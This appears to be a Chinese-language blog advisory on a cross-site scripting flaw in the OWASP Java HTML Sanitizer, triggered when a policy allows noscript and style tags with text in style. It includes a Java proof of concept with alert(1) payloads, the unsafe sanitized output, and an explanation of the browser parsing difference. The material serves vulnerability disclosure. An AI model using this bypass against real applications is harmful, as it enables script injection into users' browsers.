OWASP Java HTML 清理器存在跨站脚本漏洞:noscript 标签与 style 标签处理不当

本文详细分析了 OWASP Java HTML 清理器中的一个高危跨站脚本漏洞。该漏洞在特定配置下,允许攻击者通过 noscript 和 style 标签绕过清理机制,从而执行恶意脚本。

漏洞概述

OWASP Java HTML 清理器被披露存在一个跨站脚本漏洞。该漏洞仅在 HtmlPolicyBuilder 同时允许 noscript 标签和 style 标签(并允许 style 标签内包含文本)的特定边缘情况下触发,可能导致跨站脚本攻击。

漏洞详情

HtmlPolicyBuilder 允许 noscriptstyle 标签,并通过 .allowTextIn("style") 允许 style 标签内包含文本时,清理器存在漏洞。这是因为浏览器在处理经过清理后的 noscriptstyle 标签时存在特定的解析差异。

概念验证

以下是触发漏洞的 Java 代码示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public class main {
	private static final String ALLOWED_HTML_TAGS = "p, noscript, style";

	public static void main(String[] args) {
		withAllowedTextAndStyleTag();
	}

	public static void withAllowedTextAndStyleTag() {
		HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
		PolicyFactory policy = htmlPolicyBuilder
				.allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
				.allowTextIn("style")
				.toFactory();
		String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
		String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";

		System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
		System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
	}
}

使用最新库版本:

1
2
3
4
5
<dependency>
	<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
	<artifactId>owasp-java-html-sanitizer</artifactId>
	<version>20240325.1</version>
</dependency>

漏洞原理

代码输出结果如下:

1
2
3
4
5
PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>

PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

清理过程分析

  1. 对于 noscript 标签的载荷:清理器认为 <style> 标签后的所有内容都是 CSS,因此没有清理其中的 <script> 标签。浏览器解析清理后的输出时,<noscript> 标签被关闭,后续的 <script> 标签被当作有效的 HTML 标签执行,导致 XSS。
  2. 对于 p 标签的载荷:虽然清理过程类似,但浏览器解析时,<style> 标签后的内容被当作 CSS 处理,因此 <script> 标签未被执行,是安全的。

关键差异在于浏览器对 noscript 标签及其内部 style 标签闭合行为的特殊处理方式,导致恶意脚本逃逸了清理机制。

影响

此漏洞可能导致应用程序遭受跨站脚本攻击,攻击者可利用此漏洞在用户浏览器中执行任意 JavaScript 代码。

参考信息

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计